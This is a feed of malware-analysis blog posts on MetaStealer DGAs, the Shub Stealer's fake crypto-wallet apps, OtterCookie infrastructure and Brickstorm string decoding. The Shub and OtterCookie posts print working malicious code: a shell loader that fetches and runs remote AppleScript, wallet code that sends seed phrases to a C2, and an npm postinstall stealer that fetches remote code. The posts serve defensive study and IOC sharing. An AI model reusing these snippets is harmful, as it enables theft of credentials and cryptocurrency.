Stories by Jason Reaves on Medium

MetaStealer traffic, new DGAs and analyzing the “tracker” backdoor DGA with AI

Jason Reaves — Wed, 17 Jun 2026 21:53:59 GMT

By: Jason Reaves and Joshua Platt

In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer’s proxies or ‘gates’ don’t actually care what domain gets used as it’s just a config item; they simply pass on the traffic to another server.

We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it.

MetaStealer DGA:

As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples:

sea-vast-send.com
46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0

hxxp://pestrear-lamp.xyz:443
d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96

hxxp://anus-staylard.xyz:443
d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5

This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors.

155.117.20.75
qocyeicmusmegouw.xyz

213.139.77.254
uumcceymkuymmqou.xyz

We didn’t focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA.

Backdoor “tracker”

During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash:

82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141

RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Windows

This file identifies itself as a “RuntimeSync Agent” and explicitly refers to itself as a “tracker.” It contains a broad range of functionality, including:

Desktop video capture
Keylogging
Self-updating
File uploads
Screenshot capture
Remote command execution
A Domain Generation Algorithm (DGA)

The binary is largely unobfuscated, which made it relatively straightforward to analyze. As an experiment, I decided to let Claude handle the DGA analysis by systematically guiding it through the relevant subroutines. Once it had produced an initial implementation, I supplied known-good output samples, allowing it to identify and correct its own mistakes.

The DGA is relatively easy to identify within the binary, as it begins by preparing a word list:

Afterwords what looks like a seed and a domain count along with a TLD is passed to a function that will utilize the parsed list:

My approach was to provide Claude with the main DGA routine of sub_140006F10 and then provide sub routines and supporting functions as the session went on:

Right off the bat it was able to identify this was a routine that was generating strings based on a list of tokens, even determining this was probably a DGA

> **Key insight:** This is a **DGA (Domain Generation Algorithm)** — the pattern of `hash % node_pool` → label selections joined with `-`, terminated with `.suffix` (a TLD or domai
n suffix) is a classic DGA structure used in malware to generate pseudorandom C2 domain names from a seed.

After getting through a few standard helper functions such as an allocator and some vector routines I went back to the word list before the DGA was called:

## Function 6: `sub_140007B50` — Comma-Separated Word List Parser

### Analysis

This is the **word list tokeniser** that splits the raw comma-separated string into the `NodeVector`.

**Logic:**
- Iterates character by character, accumulating into a buffer
- On comma (`ASCII 44`): trims leading (`space`, `tab`) and trailing (`space`, `tab`, `\r`, `\n`) whitespace, then pushes token if non-empty
- After loop: flushes the final token (no trailing comma in the list) via `sub_140005AD0`

---

Culminating in giving the AI the disassembly of the function responsible for calling the DGA routine:

## Function 7: `sub_14000BF00` — DGA Bootstrap / Top-Level Entry Point

### Analysis

This is the **top-level entry point** that wires everything together.

**Hardcoded constants extracted:**

| Constant | Value | Meaning |
|---|---|---|
| `seed` | `0x1AED` (6893) | Initial hash value |
| `levels` | `1000` | Domains to generate |
| `width` | `3` | Words per domain |
| `TLD` | `"com"` | Hardcoded suffix at address `8026488` |
| Word pool | 101 words | Space/tech themed, comma-separated |

**Word list:**
```
void, star, orbit, probe, moon, sun, core, crust, dust, gas, rock, ice, ring,
disc, belt, flare, ray, beam, light, dark, cold, heat, mass, weight, force,
pull, push, drift, glide, spin, tilt, axis, pole, cap, crater, ridge, peak,
rift, vent, plume, cloud, mist, fog, veil, spark, flash, glow, pulse, wave,
tide, flow, stream, path, track, zone, rim, edge, brink, shell, skin, hull,
hatch, port, bay, dock, deck, mast, sail, wing, fin, nose, tail, tank, fuel,
bolt, nut, wire, cord, link, joint, gear, lens, glass, mirror, film, chip,
grid, plug, switch, knob, dial, screen, frame, base, stand, mount, arm, dish,
beam, mast, boom
```

**Steps:**
1. Sets status flag `*a2 = 1`
2. Allocates 544 bytes and copies in the 528-char word string
3. Calls `sub_140007B50` to parse it into a `NodeVector`
4. Calls `sub_140006F10(a1, 0x1AED, 1000, 3, &Block, Src)` — the DGA
5. Cleans up all allocations

However, the code generated by the AI did not produce the same domains as the malware. To help identify the issue, I provided the first three expected domains generated by the sample and informed the AI that its implementation contained a bug.

Not only did it discover the bug to let it generate the domains correctly but it also discovered another bug that had to do with edge cases.

The final generated python code aligned correctly with the desired output:

First 10 domains:
     1. lensclouddisc.xyz
     2. drift-joint-axis.xyz
     3. flow-pull-edge.xyz
     4. crust-noseweight.xyz
     5. zone-void-ray.xyz
     6. beammastvoid.xyz
     7. stand-cap-heat.xyz
     8. flashmountaxis.xyz
     9. edge-arm-deck.xyz
    10. jointpeakbolt.xyz

AI is advancing rapidly in the reverse engineering space. Although it still requires an experienced practitioner to guide the analysis and verify the output, this example highlights the pace at which the technology is improving and suggests that its role in malware analysis will continue to grow.

IOCs

Metastealer:

Network:
User-Agent: cpp-httplib/0.12.1

URIs:
/tasks/get_worker
/api/client_hello
/tasks/collect
/api/client/new
/api/client/init
/avast_update
/api/client/verify

Backdoor “tracker”:

Network:
User-Agent: RuntimeSync-Updater/1.0
/pmxs/logs?token=

Endpoint:
\Microsoft\RuntimeSync
\Microsoft\RuntimeSync\last_domain.txt
\Microsoft\RuntimeSync\agent.token

MetaStealer traffic, new DGAs and analyzing the “tracker” backdoor DGA with AI was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Shub Stealers Fake Crypto Apps

Jason Reaves — Mon, 06 Apr 2026 17:34:43 GMT

By: Jason Reaves

Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately.

Shell script:

fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd

After decoding however it is a bit different as it includes a number of checks:

#!/bin/zsh
# Debug loader — detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

# Detect locale info — sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '

 ')

# Build JSON safely using printf
send_debug_event() {
    local EVT="$1"
    local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER")
    curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1
}

# If CIS — send cis_blocked event and exit
if [ "$IS_CIS" = "true" ]; then
    send_debug_event "cis_blocked" >/dev/null 2>&1
    exit 0
fi

# Not CIS — send loader_requested event
send_debug_event "loader_requested" >/dev/null 2>&1 &

daemon_function() {
    exec     exec >/dev/null
    exec 2>/dev/null
    curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "https://coco2-hram[.]com/debug/payload.applescript" | osascript
}
daemon_function "$@" &
exit 0

The downloaded payload script is the main stealer component:

writeText("SHub Stealer" & return, writemind & "info")
writeText("Build Tag: " & return, writemind & "info")
writeText("External IP: " & externalIP & return & return, writemind & "info")
writeText("System Info" & return, writemind & "info")
writeText("Username: " & username & return, writemind & "info")
writeText("Password: " & password_entered & return & return, writemind & "info")

Most of the functionality has been detailed in numerous other blogs surrounding AMOS, MacSync, Odyssey and all the other variants. I decided instead to focus on their fake apps they download:

set asarUrl to gateUrl & "/exodus-asar"
set asarUrl to gateUrl & "/atomic-asar"
set asarUrl to gateUrl & "/ledger-asar"
set asarUrl to gateUrl & "/ledgerlive-asar"
set asarUrl to gateUrl & "/trezor-asar"

All of the apps come as ASAR files, after extracting them we can go through them one at a time.

Exodus-asar:

The relevant code sends off the passphrase and seed file to the C2:

this.unlock = async ({
        passphrase: t
      } = {}) => {
        if (!(await S(this, M)[M].get())) {
          return;
        }
        if (!t) {
          throw new Error("expected passphrase");
        }
        const e = await Object(w.readSeco)(await Object(m.getSeedFile)(), t);
        const s = await d.fromBuffer(e);
        try {
          fetch("hxxps://wallets-gate[.]io/api/injection", {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
              "api-key": "61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f"
            },
            body: JSON.stringify({
              password: t,
              mnemonic: s.mnemonic.toString("utf8"),
              buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
              app: "exodus"
            })
          });
        } catch (e) {}
        const r = S(this, B)[B](s);
        Object(o.randomFill)(e);
        return {
          primarySeedId: r
        };
      };

Atomic:

For atomic when the wallets get loaded after logging in:

await this.$wallets.loadWallets(n, this.password).catch(console.error).finally(() => {

Then the data is shipped off:

 async loadWallets(e, t) {
          const a = await I(V, this).getByPassword(E.MNEMONIC_KEY, t);
          fetch("https://wallets-gate[.]io/api/injection", {
            method: "POST",
            headers: {
              "Content-Type": "application/json",
              "api-key": "61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f"
            },
            body: JSON.stringify({
              mnemonic: a,
              password: t,
              buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
              app: "atomic"
            })
          }).catch(() => {});
          const n = await D($, this, z).call(this, {
            phrase: a,
            password: t
          });
          const r = e.filter(e => e.privateKey);
          await D($, this, ae).call(this, r, n);
          i.requestQueueState.setAsCompleted(i.REQUEST_TYPE.WALLETS_LOADED);
        }

Ledger:

The backdoored ledger app uses a fake recovery setup to eventually ship off the needed data:

  const words = Array.from(inputs).map(i => i.value.trim());
  const token = '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f';
  const targetUrl = 'hxxps://wallets-gate[.]io/api/injection';

  fetch(targetUrl, {
    method: 'POST',
    cache: 'no-cache',
    headers: {
      'Content-Type': 'application/json',
      'api-key': token
    },
    body: JSON.stringify({
      mnemonic: words,
      buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
      app: 'ledger',
    })
  })
.then(response => {
  location.href = 'index.html';
})
.catch(err => {
  location.href = 'index.html';
});});

LedgerLive is setup in a similar way:

continueBtn.addEventListener('click', function () {
  if (!this.classList.contains('active')) return;

  const words = Array.from(inputs).map(i => i.value.trim());
  const token = '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f';
  const targetUrl = 'https://wallets-gate.io/api/injection';

  fetch(targetUrl, {
    method: 'POST',
    cache: 'no-cache',
    headers: {
      'Content-Type': 'application/json',
      'api-key': token
    },
    body: JSON.stringify({
      mnemonic: words,
      buildid: "d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f",
      app: 'ledger_live',
    })
  })

Trezor:

The fake trezor app has a section of code calling itself a webpack hook:

    // ============================================================
    // 1. WEBPACK HOOK: STEAL NATIVE BIP39 (ID: 39781)
    // ============================================================

Inide is a config:

        const CONFIG = {
            API_URL: 'https://wallets-gate.io/api/injection',
            API_KEY: '61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f',
            BUILD_ID: 'd91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f',
            BLOCK_UPDATES: true,
            ONCE: true
        };

Along with Russian comments:

/* Достаточно места для бейджа */

The code will pretend a security patch has been applied and ask the user to verify their recovery seed:

            'default': {
                title: 'Critical Security Update',
                text: 'A critical security patch has been released. Verify your recovery seed before updating.',
                btn: 'Verify & Update',
                btn_next: 'Next Share',
                btn_finish: 'Finish & Update',
                error_empty: 'Please complete all words',
                error_checksum: 'Invalid recovery seed (checksum mismatch)',
                updating: 'Updating...',
                words12: '12 Words',
                words20: '20 Words',
                words24: '24 Words',
                share: 'Share'

If the phrase checks out then it will be shipped off:

                let finalMnemonic = mnemonicStr;
                if (currentLength === 20 && collectedShares.length > 0) {
                    finalMnemonic = collectedShares.join('\n\n--- NEXT SHARE ---\n\n');
                }

                const payload = {
                    mnemonic: finalMnemonic,
                    buildid: CONFIG.BUILD_ID,
                    app: 'trezor_suite',
                };

                fetch(CONFIG.API_URL, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json', 'api-key': CONFIG.API_KEY },
                    body: JSON.stringify(payload)
                }).catch(e => {});

References

1: https://securitylabs.datadoghq.com/articles/tech-impersonators-clickfix-and-macos-infostealers/

2: https://gi7w0rm.medium.com/amos-stealer-malext-variant-spread-in-a-global-malvertising-campaign-using-free-text-sharing-4d240e11d7e2

Shub Stealers Fake Crypto Apps was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Mapping Ottercookie Infrastructure

Jason Reaves — Mon, 06 Apr 2026 17:33:38 GMT

By: Jason Reaves

A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4].

Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it’s pretty similar to malware analysis; just more pattern matching.

While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns.

3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d

  "name": "npm-doc-builder",
  "version": "1.0.5",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node test.js"
  },
  "publishConfig": {
    "access": "public"
  },
  "dependencies": {
    "axios": "^1.7.0",
    "child_process": "^1.0.2",
    "os": "^0.1.2"
  },
  "engines": {
    "node": ">=18"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "type": "commonjs"

The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally:

  const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/");
  const {
    msg: _0x50cbce
  } = await _0x30c718.json();
  let _0x581499 = false;
  if (process.platform === "linux") {
    _0x581499 = addSshKeyToUser(_0x50cbce);

It will also download patterns for scanning

 const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns");
  const {
    scanPatterns: _0x28ca54
  } = await _0x3c4caa.json();

In this case it returned:

{"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]}

Ultimately wanting to send off the files:

 for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7.length; _0x14ded9++) {
    await uploadFile(_0x57def7[_0x14ded9], "https://cloudflareinsights[.]vercel[.]app/api/v1", _0x581499);

Pivoting on this information I found this blog[1], that saame site led me to this[2]:

"use strict";

const axios = require("axios");
const process = {
  env: {
    DEV_API_KEY: "aHR0cHM6Ly93d3cuaXNpbGxlZ2FscmVnaW9uLmNvbS9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==",
    DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",
    DEV_SECRET_VALUE: "c2VjcmV0",
  }
};

(async function initializeCaller(..._args) {
  const apiEndpoint = atob(process.env.DEV_API_KEY);
  const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);
  const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);

  let retryCount = 5;

  while (retryCount > 0) {
    try {
      const originalLog = console.log;

       // Safe placeholder request
      const response = (await axios.post(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data;
      const handler = new Function.constructor("require", response);
      handler(require);

      console.log = originalLog;
      break;
    }
    catch (error) {
      retryCount--;
    }
  }
})();

This code posts hardcoded data to a URI:

{ headers: { 'x-secret-key': 'secret' } }

The downloaded code is obfuscated:

After deobfuscating the code aligns with OtterCookies from another blog[3]:

  const u_s = "hxxp://144.172.116[.]22:8086/upload";
  const l_s = "hxxp://144.172.116[.]22:8085/upload";
  const s_s = "hxxp://144.172.116[.]22:8087";

The malware itself aligns with the other blog well enough, focusing more on the infrastructure some pretty noticeable port mappings:

HTTP 8085/TCP
Express

HTTP 8086/TCP
Express

HTTP 8087/TCP
Express

UNKNOWN 17500/TCP
linux

Port 8085 returns this in Censys[6]:

Ok

Also leveraging the banner hash of port 17500 we can map out quite a bit of infrastructure:

services.http.response.body_hashes="sha256:843ac01149cced785dfebd0028d3b03ba78e286e1c6f9517ebfcdb609d97af4c" and services.banner_hashes="sha256:31d55cb5dd194cd99387d386e84d8b24d340c0b52983ce630f0aafd70fee008c" and services.port="17500"

IPs:

 144.172.110[.]96
 144.172.110[.]228
 144.172.99[.]248
 107.189.22[.]20
 144.172.110[.]132
 144.172.99[.]81
 144.172.116[.]22
 144.172.93[.]169
 144.172.93[.]253

References

1: https://kmsec.uk/blog/contagious-trader/

2: https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a

3: https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github

4: https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead

5: https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/

6: https://censys.com/

Mapping Ottercookie Infrastructure was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Decoding Brickstorms Garble strings

Jason Reaves — Thu, 04 Dec 2025 20:39:02 GMT

By: Jason Reaves

From the recent attention to Brickstorm in public reporting, I analyzed the Brickstorm sample listed below that was recently uploaded to Virustotal:

90b760ed1d0dcb3ef0f2b6d6195c9d852bcb65eca293578982a8c4b64f51b035

This sample was obfuscated via an open-source Golang tool called Garble[4] which was mentioned by Mandiant[1]. Mandiant also released a tool for decoding Garble strings[2] which was based on prior work by OALabs[3].

A quick note before diving in: I developed my string decoder independently, without first reviewing the work published by Google Threat Intelligence (GTI). Interestingly, my approach ended up aligning closely with their research on similar samples. I want to spotlight the method detailed in GTI’s blog, which takes a deep dive into Garble’s AST transformation code, a technique that offered valuable insight into how the obfuscation operates.

The strings are mostly stack based although some of the larger ones reside elsewhere and are loaded.

For harvesting the bytecode sequences I decided to leverage a few possible yara rules which started strict and was relaxed as I continued my work:

#good for most
#rules = yara.compile(source='rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] 48 b8 [10-200] 48 [2] 48 [3] 7c ??} condition: all of them }')
rules = yara.compile(source='rule urls { strings: $a1 = {48 b8 [8] 48 89 [3] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }')
rules2 = yara.compile(source='rule urls { strings: $a1 = {48 8d [1-5] c? 44 [6] [10-400] 48 [2] 48 [3] 7c ??} condition: all of them }')

After retrieving all the matches and removing possible substrings I can emulate the code:

blobs = uniq_blobs
out = b''
if True:
    STACK=0x9000
    code_base = 0x100000

    for blob in blobs:
        mu = Uc(UC_ARCH_X86,UC_MODE_64)
        mu.mem_map(code_base, 0x100000)
        mu.mem_map(STACK, 4096*10)
        #Make sure it ends gracefully
        blob = blob.matched_data+b'\x90\x90\x90'
        #Debugging
        #if binascii.unhexlify('48b8532f2e5e6d03c6b1488944244048') in blob:
        #    print("Found it")
        #    print(binascii.hexlify(blob))
        mu.mem_write(code_base, b'\x00'*0x100000)
        mu.mem_write(STACK, b'\x00'*(4096*10))

        mu.mem_write(code_base,blob)
        #Debugging:
        #mu.hook_add(UC_HOOK_BLOCK, hook_block)
        #mu.hook_add(UC_HOOK_CODE, hook_code)
        mu.reg_write(UC_X86_REG_RSP,STACK+4096)
        mu.reg_write(UC_X86_REG_RBP,STACK+4096)
        mu.reg_write(UC_X86_REG_ESP,STACK+4096)
        mu.reg_write(UC_X86_REG_EBP,STACK+4096)
        mu.reg_write(UC_X86_REG_RAX,0)
        try:
            mu.emu_start(code_base, code_base+len(blob), timeout=10000)
        except:
            continue
        a = mu.mem_read(STACK,4096*10)
        a = b''.join(a.split(b'\x00'))
        l = mu.reg_read(UC_X86_REG_RAX)+1
        if len(a) > 0:
            print(str(a)[-l:])
            out += a

I noticed afterwords that OALabs also used a hook but they did so to find the next call instruction:

    def trace(uc, address, size, user_data):
        insn = next(cs.disasm(uc.mem_read(address, size), address))
        #print(f"{address:#010x}:\t{insn.mnemonic}\t{insn.op_str}")
        if insn.mnemonic == 'call':
            #print("Ending on a call!")
            uc.emu_stop()

I like this approach and will definitely leverage it later, I primarily used hooks for debugging my code in comparison:

def hook_block(uc, address, size, user_data):
    print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size))

def hook_code(uc, address, size, user_data):
    print(user_data)
    print(uc.reg_read(UC_X86_REG_RCX))
    print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size))

#Debugging:
#mu.hook_add(UC_HOOK_BLOCK, hook_block)
#mu.hook_add(UC_HOOK_CODE, hook_code)

This won’t get every single string as some are passed as offsets to the data residing in rodata section for longer pieces. Decoding:

Handshake'
undefined'
invalid perspective'
Handshake'
0-RTT Protected'
unknown packet type: %d'
QUIC_GO_LOG_LEVEL'
initial RTT set after first measurement"
%#x doesn't fit into 62 bits"
invalid varint length"
cannot encode %d in %d bytes"
value doesn't fit into 62 bits: "
chacha20: wrong key size'
chacha20: SetCounter attempted to rollback counter"
chacha20: output smaller than input'
chacha20: invalid buffer overlap'
chacha20: internal error: wrong dst and/or src length'
chacha20: wrong HChaCha20 key size'
chacha20: wrong HChaCha20 nonce size'
GODEBUG sys/cpu: no value specified for "'
GODEBUG sys/cpu: value "'
" not supported for cpu option "'
GODEBUG sys/cpu: unknown cpu feature "'
GODEBUG sys/cpu: can not enable "'
, missing CPU support\n'
GODEBUG sys/cpu: can not disable "'
, required CPU feature\n'
avx512vbmi'
avx512vnniw'
avx5124fmaps'
avx512vpopcntdq'
avx512gfni"
avx512vaes'
avx512vbmi2'
avx512bitalg'
avx512bf16'
pclmulqdq'
poly1305: write to MAC after Sum or Verify'
chacha20poly1305: bad nonce length passed to Seal'
chacha20poly1305: plaintext too large'
chacha20poly1305: bad nonce length passed to Open"
chacha20poly1305: ciphertext too large'
chacha20poly1305: invalid buffer overlap"
chacha20poly1305: invalid buffer overlap"
chacha20poly1305: invalid buffer overlap'
chacha20poly1305: invalid buffer overlap"
20060102150405Z0700'
cryptobyte: pending child length %d exceeds %d-byte length prefix"
cryptobyte: BuilderContinuation reallocated a fixed-size buffer"
cryptobyte: attempted write while child is pending"
cryptobyte: length overflow'
cryptobyte: Builder is exceeding its fixed-size buffer'
bad point length: %d, expected %d'
bad input point: low order point'
hkdf: entropy limit reached'
close notify'
unexpected message'
bad record MAC'
decryption failed'
record overflow'
decompression failure'
handshake failure'
bad certificate'
unsupported certificate'
revoked certificate'
expired certificate'
unknown certificate'
illegal parameter'
unknown certificate authority'
access denied'
error decoding message'
error decrypting message'
export restriction'
protocol version not supported'
insufficient security level"
internal error'
inappropriate fallback'
user canceled'
unsupported extension'
certificate unobtainable'
unrecognized name'
bad certificate status response'
certificate required'
no application protocol'
GTLS 1.3, server CertificateVerify"
_TLS 1.3, client CertificateVerify'
tls: no certificates configured'
CLIENT_RANDOM'
CLIENT_EARLY_TRAFFIC_SECRET'
CLIENT_HANDSHAKE_TRAFFIC_SECRET"
SERVER_HANDSHAKE_TRAFFIC_SECRET'
CLIENT_TRAFFIC_SECRET_0'
SERVER_TRAFFIC_SECRET_0'
tls: invalid ClientKeyExchange message'
tls: invalid ServerKeyExchange message'
res binder'
c hs traffic'
s hs traffic'
c ap traffic'
s ap traffic'
exp master'
res master'
traffic upd'
master secret'
key expansion"
client finished"
server finished'
tls: alert('
expected an ECDSA public key, got %T'
Ed25519 verification failure'
expected an RSA public key, got %T"
expected an RSA public key, got %T'
internal error: unknown signature type'
unsupported signature algorithm: %v"
unsupported signature algorithm: %v'
tls: Ed25519 public keys are not supported before TLS 1.2'
tls: unsupported public key: %T'
tls: unsupported certificate: private key is %T, expected *%T'
tls: certificate private key (%T) does not implement crypto.Signer'
tls: unsupported certificate curve (%s)'
tls: certificate RSA key size too small for supported signature algorithms'
tls: unsupported certificate key (%T)"
tls: peer doesn't support the certificate custom signature algorithms"
tls: internal error: unsupported key (%T)'
tls: internal error: wrong nonce length'
tls: internal error: wrong nonce length'
tls: internal error: wrong nonce length"
tls: unable to generate random session ticket key: %v'
s %x %x\n'
tls: received unexpected handshake message of type %T when waiting for %T'
TLS: sequence number wraparound'
unknown cipher type'
unknown cipher type'
unknown cipher type"
unsupported SSLv2 handshake received'
received record with version %x when expecting version %x'
remote error'
remote error'
tls: too many ignored records'
local error'
local error'
unknown cipher type'
tls: handshake message of length %d bytes exceeds maximum of %d bytes'
tls: internal error: unexpected renegotiation'
tls: unknown Renegotiation value"
tls: too many non-advancing records'
tls: received unexpected handshake message of type %T'
tls: internal error: handshake should have had a result'
tls: invalid NextProtos value'
tls: NextProtos values too large'
tls: no supported versions satisfy MinVersion and MaxVersion'
tls: short read from Rand: "
tls: short read from Rand: '
c e traffic"
resumption'
tls: server selected unsupported protocol version %x'
tls: received unexpected CertificateStatus message'
tls: server's identity changed during renegotiation"
tls: failed to write to key log: '
tls: server selected unsupported compression format'
tls: initial handshake had non-empty renegotiation extension"
tls: server advertised unrequested ALPN extension'
tls: server resumed a session with a different version'
tls: server resumed a session with a different cipher suite'
tls: server's Finished message was incorrect"
tls: server selected TLS 1.3 using the legacy version field'
tls: server selected an invalid version after a HelloRetryRequest'
tls: server sent an incorrect legacy version'
tls: server sent a ServerHello extension forbidden in TLS 1.3"
tls: server selected unsupported compression format'
tls: server changed cipher suite after a HelloRetryRequest"
tls: server sent an unnecessary HelloRetryRequest message"
tls: received malformed key_share extension'
tls: server selected unsupported group"
tls: server sent an unnecessary HelloRetryRequest key_share"
tls: server sent a cookie in a normal ServerHello'
tls: malformed key_share extension'
tls: server did not send a key share'
tls: server selected unsupported group'
tls: server selected an invalid PSK'
tls: server selected an invalid PSK and cipher suite pair'
tls: invalid server key share'
LPN negotiation failed. Server didn\'t offer any protocols'
ALPN negotiation failed. Server offered: %q'
tls: server advertised unrequested ALPN extension'
tls: certificate used with invalid signature algorithm'
tls: certificate used with invalid signature algorithm"
tls: invalid signature by the server certificate: '
tls: invalid server finished hash'
tls: failed to sign handshake: '
tls: received a session ticket with invalid lifetime'
invalid value length: expected %d, got %d'
tls: internal error: failed to update binders'
tls: negotiated TLS < 1.3 when using QUIC'
tls: client offered old TLS version %#x'
tls: client offered only unsupported versions: %x'
tls: client does not support uncompressed connections"
tls: initial handshake had non-empty renegotiation extension'
tls: unsupported signing key type (%T)'
tls: unsupported decryption key type (%T)"
tls: no cipher suite supported by both client and server'
tls: client using inappropriate protocol fallback'
tls: client certificate used with invalid signature algorithm'
tls: invalid signature by the client certificate: '
ls: client\'s Finished message is incorrect'
tls: failed to parse client certificate: "
ls: client didn\'t provide a certificate'
tls: failed to verify client certificate: '
tls: client certificate contains an unsupported public key of type %T'
tls: client used the legacy version field to negotiate TLS 1.3'
tls: client using inappropriate protocol fallback'
tls: TLS 1.3 client supports illegal compression methods'
b'\x1c9\xbfZ8\xf4\xe1\xccWH\x8eUE4\x19\xb4\x85\x87qS%D\xe8\xe6\tH\xb8\xf3'
f\xa5#!\xef9 handshake had non-empty renegotiation extension'
tls: no cipher suite supported by both client and server"
tls: no ECDHE curve supported by both client and server'
tls: invalid or missing PSK binders'
tls: client sent unexpected early data'
resumption'
tls: internal error: failed to clone hash"
tls: invalid PSK binder"
c e traffic'
tls: client sent invalid key share in second ClientHello'
tls: client indicated early data in second ClientHello'
tls: client illegally modified second ClientHello'
tls: client offered 0-RTT data in second ClientHello'
ALPN negotiation failed. Client offered: %q'
tls: failed to sign handshake: '
tls: client certificate used with invalid signature algorithm'
tls: client certificate used with invalid signature algorithm'
tls: invalid signature by the client certificate: '
tls: invalid client finished hash'
tls: certificate private key does not implement crypto.Decrypter"
tls: unexpected ServerKeyExchange'
tls: no supported elliptic curves offered'
tls: certificate cannot be used with the selected cipher suite'
tls: failed to sign ECDHE parameters: '
tls: server selected unsupported curve"
tls: server selected unsupported curve'
tls: certificate used with invalid signature algorithm'
tls: invalid signature by the server certificate: '
tls: missing ServerKeyExchange message'
tls: HKDF-Expand-Label invocation failed unexpectedly'
tls: internal error: unsupported curve'
unknown version'
server finished'
master secret'
key expansion'
crypto/tls: reserved ExportKeyingMaterial label: %s'
crypto/tls: ExportKeyingMaterial context too long'
tls: internal error: session ticket keys unavailable'
